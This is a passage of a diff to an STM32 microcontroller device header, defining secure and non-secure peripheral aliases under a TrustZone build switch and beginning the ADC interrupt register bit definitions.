+#define OTFDEC1_REGION2_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION2_BASE_S) +#define OTFDEC1_REGION3_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION3_BASE_S) +#define OTFDEC1_REGION4_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION4_BASE_S) +#define SDMMC1_S ((SDMMC_TypeDef *) SDMMC1_BASE_S) +#define DLYB_SDMMC1_S ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_S) + +#define FMC_Bank1_R_S ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_S) +#define FMC_Bank1E_R_S ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_S) +#define FMC_Bank3_R_S ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_S) + +#define OCTOSPI1_S ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_S) +#define DLYB_OCTOSPI1_S ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_S) + +#define DBGMCU ((DBGMCU_TypeDef *) DBGMCU_BASE) + +/*!< Memory & Instance aliases and base addresses for Non-Secure/Secure peripherals */ + +#if defined (__ARM_FEATURE_CMSE) && (__ARM_FEATURE_CMSE == 3U) + +/*!< Memory base addresses for Secure peripherals */ +#define FLASH_BASE FLASH_BASE_S +#define FLASH_OBK_BASE FLASH_OBK_BASE_S +#define FLASH_EDATA_BASE FLASH_EDATA_BASE_S +#define FLASH_SYSTEM_BASE FLASH_SYSTEM_BASE_S +#define SRAM1_BASE SRAM1_BASE_S +#define SRAM2_BASE SRAM2_BASE_S +#define SRAM3_BASE SRAM3_BASE_S +#define BKPSRAM_BASE BKPSRAM_BASE_S +#define PERIPH_BASE PERIPH_BASE_S +#define APB1PERIPH_BASE APB1PERIPH_BASE_S +#define APB2PERIPH_BASE APB2PERIPH_BASE_S +#define APB3PERIPH_BASE APB3PERIPH_BASE_S +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_S +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_S +#define AHB3PERIPH_BASE AHB3PERIPH_BASE_S +#define AHB4PERIPH_BASE AHB4PERIPH_BASE_S + +/*!< Instance aliases and base addresses for Secure peripherals */ +#define RCC RCC_S +#define RCC_BASE RCC_BASE_S + +#define DCMI DCMI_S +#define DCMI_BASE DCMI_BASE_S + +#define PSSI PSSI_S +#define PSSI_BASE PSSI_BASE_S + +#define DTS DTS_S +#define DTS_BASE DTS_BASE_S + +#define FLASH FLASH_S +#define FLASH_R_BASE FLASH_R_BASE_S + +#define GPDMA1 GPDMA1_S +#define GPDMA1_BASE GPDMA1_BASE_S + +#define GPDMA1_Channel0 GPDMA1_Channel0_S +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_S + +#define GPDMA1_Channel1 GPDMA1_Channel1_S +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_S + +#define GPDMA1_Channel2 GPDMA1_Channel2_S +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_S + +#define GPDMA1_Channel3 GPDMA1_Channel3_S +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_S + +#define GPDMA1_Channel4 GPDMA1_Channel4_S +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_S + +#define GPDMA1_Channel5 GPDMA1_Channel5_S +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_S + +#define GPDMA1_Channel6 GPDMA1_Channel6_S +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_S + +#define GPDMA1_Channel7 GPDMA1_Channel7_S +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_S + +#define GPDMA2 GPDMA2_S +#define GPDMA2_BASE GPDMA2_BASE_S + +#define GPDMA2_Channel0 GPDMA2_Channel0_S +#define GPDMA2_Channel0_BASE GPDMA2_Channel0_BASE_S + +#define GPDMA2_Channel1 GPDMA2_Channel1_S +#define GPDMA2_Channel1_BASE GPDMA2_Channel1_BASE_S + +#define GPDMA2_Channel2 GPDMA2_Channel2_S +#define GPDMA2_Channel2_BASE GPDMA2_Channel2_BASE_S + +#define GPDMA2_Channel3 GPDMA2_Channel3_S +#define GPDMA2_Channel3_BASE GPDMA2_Channel3_BASE_S + +#define GPDMA2_Channel4 GPDMA2_Channel4_S +#define GPDMA2_Channel4_BASE GPDMA2_Channel4_BASE_S + +#define GPDMA2_Channel5 GPDMA2_Channel5_S +#define GPDMA2_Channel5_BASE GPDMA2_Channel5_BASE_S + +#define GPDMA2_Channel6 GPDMA2_Channel6_S +#define GPDMA2_Channel6_BASE GPDMA2_Channel6_BASE_S + +#define GPDMA2_Channel7 GPDMA2_Channel7_S +#define GPDMA2_Channel7_BASE GPDMA2_Channel7_BASE_S + +#define GPIOA GPIOA_S +#define GPIOA_BASE GPIOA_BASE_S + +#define GPIOB GPIOB_S +#define GPIOB_BASE GPIOB_BASE_S + +#define GPIOC GPIOC_S +#define GPIOC_BASE GPIOC_BASE_S + +#define GPIOD GPIOD_S +#define GPIOD_BASE GPIOD_BASE_S + +#define GPIOE GPIOE_S +#define GPIOE_BASE GPIOE_BASE_S + +#define GPIOF GPIOF_S +#define GPIOF_BASE GPIOF_BASE_S + +#define GPIOG GPIOG_S +#define GPIOG_BASE GPIOG_BASE_S + +#define GPIOH GPIOH_S +#define GPIOH_BASE GPIOH_BASE_S + +#define PWR PWR_S +#define PWR_BASE PWR_BASE_S + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_S +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_S + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_S +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_S + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_S +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_S + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_S +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_S + +#define EXTI EXTI_S +#define EXTI_BASE EXTI_BASE_S + +#define ICACHE ICACHE_S +#define ICACHE_BASE ICACHE_BASE_S + +#define DCACHE1 DCACHE1_S +#define DCACHE1_BASE DCACHE1_BASE_S + +#define GTZC_TZSC1 GTZC_TZSC1_S +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_S + +#define GTZC_TZIC1 GTZC_TZIC1_S +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_S + +#define GTZC_MPCBB1 GTZC_MPCBB1_S +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_S + +#define GTZC_MPCBB2 GTZC_MPCBB2_S +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_S + +#define GTZC_MPCBB3 GTZC_MPCBB3_S +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_S + +#define RTC RTC_S +#define RTC_BASE RTC_BASE_S + +#define TAMP TAMP_S +#define TAMP_BASE TAMP_BASE_S + +#define TIM1 TIM1_S +#define TIM1_BASE TIM1_BASE_S + +#define TIM2 TIM2_S +#define TIM2_BASE TIM2_BASE_S + +#define TIM3 TIM3_S +#define TIM3_BASE TIM3_BASE_S + +#define TIM4 TIM4_S +#define TIM4_BASE TIM4_BASE_S + +#define TIM5 TIM5_S +#define TIM5_BASE TIM5_BASE_S + +#define TIM6 TIM6_S +#define TIM6_BASE TIM6_BASE_S + +#define TIM7 TIM7_S +#define TIM7_BASE TIM7_BASE_S + +#define TIM8 TIM8_S +#define TIM8_BASE TIM8_BASE_S + +#define TIM15 TIM15_S +#define TIM15_BASE TIM15_BASE_S + +#define TIM12 TIM12_S +#define TIM12_BASE TIM12_BASE_S + +#define WWDG WWDG_S +#define WWDG_BASE WWDG_BASE_S + +#define IWDG IWDG_S +#define IWDG_BASE IWDG_BASE_S + +#define SPI1 SPI1_S +#define SPI1_BASE SPI1_BASE_S + +#define SPI2 SPI2_S +#define SPI2_BASE SPI2_BASE_S + +#define SPI3 SPI3_S +#define SPI3_BASE SPI3_BASE_S + +#define SPI4 SPI4_S +#define SPI4_BASE SPI4_BASE_S + +#define USART1 USART1_S +#define USART1_BASE USART1_BASE_S + +#define USART2 USART2_S +#define USART2_BASE USART2_BASE_S + +#define USART3 USART3_S +#define USART3_BASE USART3_BASE_S + +#define UART4 UART4_S +#define UART4_BASE UART4_BASE_S + +#define UART5 UART5_S +#define UART5_BASE UART5_BASE_S + +#define USART6 USART6_S +#define USART6_BASE USART6_BASE_S + +#define CEC CEC_S +#define CEC_BASE CEC_BASE_S + +#define I2C1 I2C1_S +#define I2C1_BASE I2C1_BASE_S + +#define I2C2 I2C2_S +#define I2C2_BASE I2C2_BASE_S + +#define I2C3 I2C3_S +#define I2C3_BASE I2C3_BASE_S + +#define I3C1 I3C1_S +#define I3C1_BASE I3C1_BASE_S + +#define I3C2 I3C2_S +#define I3C2_BASE I3C2_BASE_S + +#define CRS CRS_S +#define CRS_BASE CRS_BASE_S + +#define FDCAN1 FDCAN1_S +#define FDCAN1_BASE FDCAN1_BASE_S + +#define FDCAN_CONFIG FDCAN_CONFIG_S +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_S +#define SRAMCAN_BASE SRAMCAN_BASE_S + +#define FDCAN2 FDCAN2_S +#define FDCAN2_BASE FDCAN2_BASE_S + +#define DAC1 DAC1_S +#define DAC1_BASE DAC1_BASE_S + +#define LPTIM1 LPTIM1_S +#define LPTIM1_BASE LPTIM1_BASE_S + +#define LPTIM2 LPTIM2_S +#define LPTIM2_BASE LPTIM2_BASE_S + +#define LPUART1 LPUART1_S +#define LPUART1_BASE LPUART1_BASE_S + +#define UCPD1 UCPD1_S +#define UCPD1_BASE UCPD1_BASE_S + +#define SBS SBS_S +#define SBS_BASE SBS_BASE_S + +#define VREFBUF VREFBUF_S +#define VREFBUF_BASE VREFBUF_BASE_S + +#define USB_DRD_FS USB_DRD_FS_S +#define USB_DRD_BASE USB_DRD_BASE_S +#define USB_DRD_PMAADDR USB_DRD_PMAADDR_S +#define USB_DRD_PMA_BUFF USB_DRD_PMA_BUFF_S + +#define CRC CRC_S +#define CRC_BASE CRC_BASE_S + +#define ADC1 ADC1_S +#define ADC1_BASE ADC1_BASE_S + +#define ADC2 ADC2_S +#define ADC2_BASE ADC2_BASE_S + +#define ADC12_COMMON ADC12_COMMON_S +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_S + +#define HASH HASH_S +#define HASH_BASE HASH_BASE_S + +#define HASH_DIGEST HASH_DIGEST_S +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_S + +#define AES AES_S +#define AES_BASE AES_BASE_S + +#define RNG RNG_S +#define RNG_BASE RNG_BASE_S + +#define SAES SAES_S +#define SAES_BASE SAES_BASE_S + +#define PKA PKA_S +#define PKA_BASE PKA_BASE_S +#define PKA_RAM_BASE PKA_RAM_BASE_S + +#define OTFDEC1 OTFDEC1_S +#define OTFDEC1_BASE OTFDEC1_BASE_S + +#define OTFDEC1_REGION1 OTFDEC1_REGION1_S +#define OTFDEC1_REGION1_BASE OTFDEC1_REGION1_BASE_S + +#define OTFDEC1_REGION2 OTFDEC1_REGION2_S +#define OTFDEC1_REGION2_BASE OTFDEC1_REGION2_BASE_S + +#define OTFDEC1_REGION3 OTFDEC1_REGION3_S +#define OTFDEC1_REGION3_BASE OTFDEC1_REGION3_BASE_S + +#define OTFDEC1_REGION4 OTFDEC1_REGION4_S +#define OTFDEC1_REGION4_BASE OTFDEC1_REGION4_BASE_S + + + +#define SDMMC1 SDMMC1_S +#define SDMMC1_BASE SDMMC1_BASE_S + + +#define FMC_Bank1_R FMC_Bank1_R_S +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_S + +#define FMC_Bank1E_R FMC_Bank1E_R_S +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_S + +#define FMC_Bank3_R FMC_Bank3_R_S +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_S + +#define OCTOSPI1 OCTOSPI1_S +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_S + +#define DLYB_SDMMC1 DLYB_SDMMC1_S +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_S + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_S +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_S + +#else + +/*!< Memory base addresses for Non secure peripherals */ +#define FLASH_BASE FLASH_BASE_NS +#define FLASH_OBK_BASE FLASH_OBK_BASE_NS +#define FLASH_EDATA_BASE FLASH_EDATA_BASE_NS +#define FLASH_SYSTEM_BASE FLASH_SYSTEM_BASE_NS + +#define SRAM1_BASE SRAM1_BASE_NS +#define SRAM2_BASE SRAM2_BASE_NS + +#define SRAM3_BASE SRAM3_BASE_NS +#define BKPSRAM_BASE BKPSRAM_BASE_NS + +#define PERIPH_BASE PERIPH_BASE_NS +#define APB1PERIPH_BASE APB1PERIPH_BASE_NS +#define APB2PERIPH_BASE APB2PERIPH_BASE_NS +#define APB3PERIPH_BASE APB3PERIPH_BASE_NS +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_NS +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_NS +#define AHB3PERIPH_BASE AHB3PERIPH_BASE_NS +#define AHB4PERIPH_BASE AHB4PERIPH_BASE_NS + +/*!< Instance aliases and base addresses for Non secure peripherals */ +#define RCC RCC_NS +#define RCC_BASE RCC_BASE_NS + +#define DCMI DCMI_NS +#define DCMI_BASE DCMI_BASE_NS + +#define PSSI PSSI_NS +#define PSSI_BASE PSSI_BASE_NS + +#define DTS DTS_NS +#define DTS_BASE DTS_BASE_NS + +#define FLASH FLASH_NS +#define FLASH_R_BASE FLASH_R_BASE_NS + +#define GPDMA1 GPDMA1_NS +#define GPDMA1_BASE GPDMA1_BASE_NS + +#define GPDMA1_Channel0 GPDMA1_Channel0_NS +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_NS + +#define GPDMA1_Channel1 GPDMA1_Channel1_NS +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_NS + +#define GPDMA1_Channel2 GPDMA1_Channel2_NS +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_NS + +#define GPDMA1_Channel3 GPDMA1_Channel3_NS +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_NS + +#define GPDMA1_Channel4 GPDMA1_Channel4_NS +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_NS + +#define GPDMA1_Channel5 GPDMA1_Channel5_NS +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_NS + +#define GPDMA1_Channel6 GPDMA1_Channel6_NS +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_NS + +#define GPDMA1_Channel7 GPDMA1_Channel7_NS +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_NS + +#define GPDMA2 GPDMA2_NS +#define GPDMA2_BASE GPDMA2_BASE_NS + +#define GPDMA2_Channel0 GPDMA2_Channel0_NS +#define GPDMA2_Channel0_BASE GPDMA2_Channel0_BASE_NS + +#define GPDMA2_Channel1 GPDMA2_Channel1_NS +#define GPDMA2_Channel1_BASE GPDMA2_Channel1_BASE_NS + +#define GPDMA2_Channel2 GPDMA2_Channel2_NS +#define GPDMA2_Channel2_BASE GPDMA2_Channel2_BASE_NS + +#define GPDMA2_Channel3 GPDMA2_Channel3_NS +#define GPDMA2_Channel3_BASE GPDMA2_Channel3_BASE_NS + +#define GPDMA2_Channel4 GPDMA2_Channel4_NS +#define GPDMA2_Channel4_BASE GPDMA2_Channel4_BASE_NS + +#define GPDMA2_Channel5 GPDMA2_Channel5_NS +#define GPDMA2_Channel5_BASE GPDMA2_Channel5_BASE_NS + +#define GPDMA2_Channel6 GPDMA2_Channel6_NS +#define GPDMA2_Channel6_BASE GPDMA2_Channel6_BASE_NS + +#define GPDMA2_Channel7 GPDMA2_Channel7_NS +#define GPDMA2_Channel7_BASE GPDMA2_Channel7_BASE_NS + +#define GPIOA GPIOA_NS +#define GPIOA_BASE GPIOA_BASE_NS + +#define GPIOB GPIOB_NS +#define GPIOB_BASE GPIOB_BASE_NS + +#define GPIOC GPIOC_NS +#define GPIOC_BASE GPIOC_BASE_NS + +#define GPIOD GPIOD_NS +#define GPIOD_BASE GPIOD_BASE_NS + +#define GPIOE GPIOE_NS +#define GPIOE_BASE GPIOE_BASE_NS + +#define GPIOF GPIOF_NS +#define GPIOF_BASE GPIOF_BASE_NS + +#define GPIOG GPIOG_NS +#define GPIOG_BASE GPIOG_BASE_NS + +#define GPIOH GPIOH_NS +#define GPIOH_BASE GPIOH_BASE_NS + +#define PWR PWR_NS +#define PWR_BASE PWR_BASE_NS + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_NS +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_NS + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_NS +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_NS + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_NS +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_NS + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_NS +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_NS + +#define EXTI EXTI_NS +#define EXTI_BASE EXTI_BASE_NS + +#define ICACHE ICACHE_NS +#define ICACHE_BASE ICACHE_BASE_NS + +#define DCACHE1 DCACHE1_NS +#define DCACHE1_BASE DCACHE1_BASE_NS + +#define GTZC_TZSC1 GTZC_TZSC1_NS +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_NS + +#define GTZC_TZIC1 GTZC_TZIC1_NS +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_NS + +#define GTZC_MPCBB1 GTZC_MPCBB1_NS +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_NS + +#define GTZC_MPCBB2 GTZC_MPCBB2_NS +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_NS + +#define GTZC_MPCBB3 GTZC_MPCBB3_NS +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_NS + +#define RTC RTC_NS +#define RTC_BASE RTC_BASE_NS + +#define TAMP TAMP_NS +#define TAMP_BASE TAMP_BASE_NS + +#define TIM1 TIM1_NS +#define TIM1_BASE TIM1_BASE_NS + +#define TIM2 TIM2_NS +#define TIM2_BASE TIM2_BASE_NS + +#define TIM3 TIM3_NS +#define TIM3_BASE TIM3_BASE_NS + +#define TIM4 TIM4_NS +#define TIM4_BASE TIM4_BASE_NS + +#define TIM5 TIM5_NS +#define TIM5_BASE TIM5_BASE_NS + +#define TIM6 TIM6_NS +#define TIM6_BASE TIM6_BASE_NS + +#define TIM7 TIM7_NS +#define TIM7_BASE TIM7_BASE_NS + +#define TIM8 TIM8_NS +#define TIM8_BASE TIM8_BASE_NS + +#define TIM12 TIM12_NS +#define TIM12_BASE TIM12_BASE_NS + +#define TIM15 TIM15_NS +#define TIM15_BASE TIM15_BASE_NS + +#define WWDG WWDG_NS +#define WWDG_BASE WWDG_BASE_NS + +#define IWDG IWDG_NS +#define IWDG_BASE IWDG_BASE_NS + +#define SPI1 SPI1_NS +#define SPI1_BASE SPI1_BASE_NS + +#define SPI2 SPI2_NS +#define SPI2_BASE SPI2_BASE_NS + +#define SPI3 SPI3_NS +#define SPI3_BASE SPI3_BASE_NS + +#define SPI4 SPI4_NS +#define SPI4_BASE SPI4_BASE_NS + +#define USART1 USART1_NS +#define USART1_BASE USART1_BASE_NS + +#define USART2 USART2_NS +#define USART2_BASE USART2_BASE_NS + +#define USART3 USART3_NS +#define USART3_BASE USART3_BASE_NS + +#define UART4 UART4_NS +#define UART4_BASE UART4_BASE_NS + +#define UART5 UART5_NS +#define UART5_BASE UART5_BASE_NS + +#define USART6 USART6_NS +#define USART6_BASE USART6_BASE_NS + +#define CEC CEC_NS +#define CEC_BASE CEC_BASE_NS + +#define I2C1 I2C1_NS +#define I2C1_BASE I2C1_BASE_NS + +#define I2C2 I2C2_NS +#define I2C2_BASE I2C2_BASE_NS + +#define I2C3 I2C3_NS +#define I2C3_BASE I2C3_BASE_NS + +#define I3C1 I3C1_NS +#define I3C1_BASE I3C1_BASE_NS + +#define I3C2 I3C2_NS +#define I3C2_BASE I3C2_BASE_NS + +#define CRS CRS_NS +#define CRS_BASE CRS_BASE_NS + +#define FDCAN1 FDCAN1_NS +#define FDCAN1_BASE FDCAN1_BASE_NS + +#define FDCAN_CONFIG FDCAN_CONFIG_NS +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_NS +#define SRAMCAN_BASE SRAMCAN_BASE_NS + +#define FDCAN2 FDCAN2_NS +#define FDCAN2_BASE FDCAN2_BASE_NS + +#define DAC1 DAC1_NS +#define DAC1_BASE DAC1_BASE_NS + +#define LPTIM1 LPTIM1_NS +#define LPTIM1_BASE LPTIM1_BASE_NS + +#define LPTIM2 LPTIM2_NS +#define LPTIM2_BASE LPTIM2_BASE_NS + +#define LPUART1 LPUART1_NS +#define LPUART1_BASE LPUART1_BASE_NS + +#define UCPD1 UCPD1_NS +#define UCPD1_BASE UCPD1_BASE_NS + +#define SBS SBS_NS +#define SBS_BASE SBS_BASE_NS + +#define VREFBUF VREFBUF_NS +#define VREFBUF_BASE VREFBUF_BASE_NS + +#define USB_DRD_FS USB_DRD_FS_NS +#define USB_DRD_BASE USB_DRD_BASE_NS +#define USB_DRD_PMAADDR USB_DRD_PMAADDR_NS +#define USB_DRD_PMA_BUFF USB_DRD_PMA_BUFF_NS + +#define CRC CRC_NS +#define CRC_BASE CRC_BASE_NS + +#define ADC1 ADC1_NS +#define ADC1_BASE ADC1_BASE_NS + +#define ADC2 ADC2_NS +#define ADC2_BASE ADC2_BASE_NS + +#define ADC12_COMMON ADC12_COMMON_NS +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_NS + +#define HASH HASH_NS +#define HASH_BASE HASH_BASE_NS + +#define HASH_DIGEST HASH_DIGEST_NS +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_NS + +#define AES AES_NS +#define AES_BASE AES_BASE_NS + +#define RNG RNG_NS +#define RNG_BASE RNG_BASE_NS + +#define SAES SAES_NS +#define SAES_BASE SAES_BASE_NS + +#define PKA PKA_NS +#define PKA_BASE PKA_BASE_NS +#define PKA_RAM_BASE PKA_RAM_BASE_NS + +#define OTFDEC1 OTFDEC1_NS +#define OTFDEC1_BASE OTFDEC1_BASE_NS + +#define OTFDEC1_REGION1 OTFDEC1_REGION1_NS +#define OTFDEC1_REGION1_BASE OTFDEC1_REGION1_BASE_NS + +#define OTFDEC1_REGION2 OTFDEC1_REGION2_NS +#define OTFDEC1_REGION2_BASE OTFDEC1_REGION2_BASE_NS + +#define OTFDEC1_REGION3 OTFDEC1_REGION3_NS +#define OTFDEC1_REGION3_BASE OTFDEC1_REGION3_BASE_NS + +#define OTFDEC1_REGION4 OTFDEC1_REGION4_NS +#define OTFDEC1_REGION4_BASE OTFDEC1_REGION4_BASE_NS + + + +#define SDMMC1 SDMMC1_NS +#define SDMMC1_BASE SDMMC1_BASE_NS + + +#define FMC_Bank1_R FMC_Bank1_R_NS +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_NS + +#define FMC_Bank1E_R FMC_Bank1E_R_NS +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_NS + +#define FMC_Bank3_R FMC_Bank3_R_NS +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_NS + +#define OCTOSPI1 OCTOSPI1_NS +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_NS + +#define DLYB_SDMMC1 DLYB_SDMMC1_NS +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_NS + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_NS +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_NS + +#endif + + +/******************************************************************************/ +/* */ +/* Analog to Digital Converter */ +/* */ +/******************************************************************************/ +#define ADC_MULTIMODE_SUPPORT /*!< ADC feature available only on specific devices: multimode available on devices with several ADC instances */ +/******************** Bit definition for ADC_ISR register *******************/ +#define ADC_ISR_ADRDY_Pos (0U) +#define ADC_ISR_ADRDY_Msk (0x1UL << ADC_ISR_ADRDY_Pos) /*!< 0x00000001 */ +#define ADC_ISR_ADRDY ADC_ISR_ADRDY_Msk /*!< ADC ready flag */ +#define ADC_ISR_EOSMP_Pos (1U) +#define ADC_ISR_EOSMP_Msk (0x1UL << ADC_ISR_EOSMP_Pos) /*!< 0x00000002 */ +#define ADC_ISR_EOSMP ADC_ISR_EOSMP_Msk /*!< ADC group regular end of sampling flag */ +#define ADC_ISR_EOC_Pos (2U) +#define ADC_ISR_EOC_Msk (0x1UL << ADC_ISR_EOC_Pos) /*!< 0x00000004 */ +#define ADC_ISR_EOC ADC_ISR_EOC_Msk /*!< ADC group regular end of unitary conversion flag */ +#define ADC_ISR_EOS_Pos (3U) +#define ADC_ISR_EOS_Msk (0x1UL << ADC_ISR_EOS_Pos) /*!< 0x00000008 */ +#define ADC_ISR_EOS ADC_ISR_EOS_Msk /*!< ADC group regular end of sequence conversions flag */ +#define ADC_ISR_OVR_Pos (4U) +#define ADC_ISR_OVR_Msk (0x1UL << ADC_ISR_OVR_Pos) /*!< 0x00000010 */ +#define ADC_ISR_OVR ADC_ISR_OVR_Msk /*!< ADC group regular overrun flag */ +#define ADC_ISR_JEOC_Pos (5U) +#define ADC_ISR_JEOC_Msk (0x1UL << ADC_ISR_JEOC_Pos) /*!< 0x00000020 */ +#define ADC_ISR_JEOC ADC_ISR_JEOC_Msk /*!< ADC group injected end of unitary conversion flag */ +#define ADC_ISR_JEOS_Pos (6U) +#define ADC_ISR_JEOS_Msk (0x1UL << ADC_ISR_JEOS_Pos) /*!< 0x00000040 */ +#define ADC_ISR_JEOS ADC_ISR_JEOS_Msk /*!< ADC group injected end of sequence conversions flag */ +#define ADC_ISR_AWD1_Pos (7U) +#define ADC_ISR_AWD1_Msk (0x1UL << ADC_ISR_AWD1_Pos) /*!< 0x00000080 */ +#define ADC_ISR_AWD1 ADC_ISR_AWD1_Msk /*!< ADC analog watchdog 1 flag */ +#define ADC_ISR_AWD2_Pos (8U) +#define ADC_ISR_AWD2_Msk (0x1UL << ADC_ISR_AWD2_Pos) /*!< 0x00000100 */ +#define ADC_ISR_AWD2 ADC_ISR_AWD2_Msk /*!< ADC analog watchdog 2 flag */ +#define ADC_ISR_AWD3_Pos (9U) +#define ADC_ISR_AWD3_Msk (0x1UL << ADC_ISR_AWD3_Pos) /*!< 0x00000200 */ +#define ADC_ISR_AWD3 ADC_ISR_AWD3_Msk /*!< ADC analog watchdog 3 flag */ +#define ADC_ISR_JQOVF_Pos (10U) +#define ADC_ISR_JQOVF_Msk (0x1UL << ADC_ISR_JQOVF_Pos) /*!< 0x00000400 */ +#define ADC_ISR_JQOVF ADC_ISR_JQOVF_Msk /*!< ADC group injected contexts queue overflow flag */ + +/******************** Bit definition for ADC_IER register *******************/ +#define ADC_IER_ADRDYIE_Pos (0U) +#define ADC_IER_ADRDYIE_Msk (0x1UL << ADC_IER_ADRDYIE_Pos) /*!< 0x00000001 */ +#define ADC_IER_ADRDYIE ADC_IER_ADRDYIE_Msk /*!< ADC ready interrupt */ +#define ADC_IER_EOSMPIE_Pos (1U) +#define ADC_IER_EOSMPIE_Msk (0x1UL << ADC_IER_EOSMPIE_Pos) /*!< 0x00000002 */ +#define ADC_IER_EOSMPIE ADC_IER_EOSMPIE_Msk /*!< ADC group regular end of sampling interrupt */ +#define ADC_IER_EOCIE_Pos (2U) +#define ADC_IER_EOCIE_Msk (0x1UL << ADC_IER_EOCIE_Pos) /*!< 0x00000004 */ +#define ADC_IER_EOCIE ADC_IER_EOCIE_Msk /*!< ADC group regular end of unitary conversion interrupt */ +#define ADC_IER_EOSIE_Pos (3U) +#define ADC_IER_EOSIE_Msk (0x1UL << ADC_IER_EOSIE_Pos) /*!< 0x00000008 */ +#define ADC_IER_EOSIE ADC_IER_EOSIE_Msk /*!< ADC group regular end of sequence conversions interrupt */ +#define ADC_IER_OVRIE_Pos (4U) +#define ADC_IER_OVRIE_Msk (0x1UL << ADC_IER_OVRIE_Pos) /*!< 0x00000010 */ +#define ADC_IER_OVRIE ADC_IER_OVRIE_Msk /*!< ADC group regular overrun interrupt */ +#define ADC_IER_JEOCIE_Pos (5U) +#define ADC_IER_JEOCIE_Msk (0x1UL << ADC_IER_JEOCIE_Pos) /*!< 0x00000020 */ +#define ADC_IER_JEOCIE ADC_IER_JEOCIE_Msk /*!< ADC group injected end of unitary conversion interrupt */ +#define ADC_IER_JEOSIE_Pos (6U) +#define ADC_IER_JEOSIE_Msk (0x1UL << ADC_IER_JEOSIE_Pos) /*!< 0x00000040 */ +#define ADC_IER_JEOSIE ADC_IER_JEOSIE_Msk /*!< ADC group injected end of sequence conversions interrupt */ +#define ADC_IER_AWD1IE_Pos (7U) +#define ADC_IER_AWD1IE_Msk (0x1UL << ADC_IER_AWD1IE_Pos) /*!< 0x00000080 */ +#define ADC_IER_AWD1IE ADC_IER_AWD1IE_Msk /*!< ADC analog watchdog 1 interrupt */ +#define ADC_IER_AWD2IE_Pos (8U) +#define ADC_IER_AWD2IE_Msk (0x1UL << ADC_IER_AWD2IE_Pos) /*!< 0x00000100 */ +#define ADC_IER_AWD2IE ADC_IER_AWD2IE_Msk /*!< ADC analog watchdog 2 interrupt */ +#define ADC_IER_AWD3IE_Pos (9U) +#define ADC_IER_AWD3IE_Msk (0x1UL << ADC_IER_AWD3IE_Pos) /*!< 0x00000200 */ +#define ADC_IER_AWD3IE 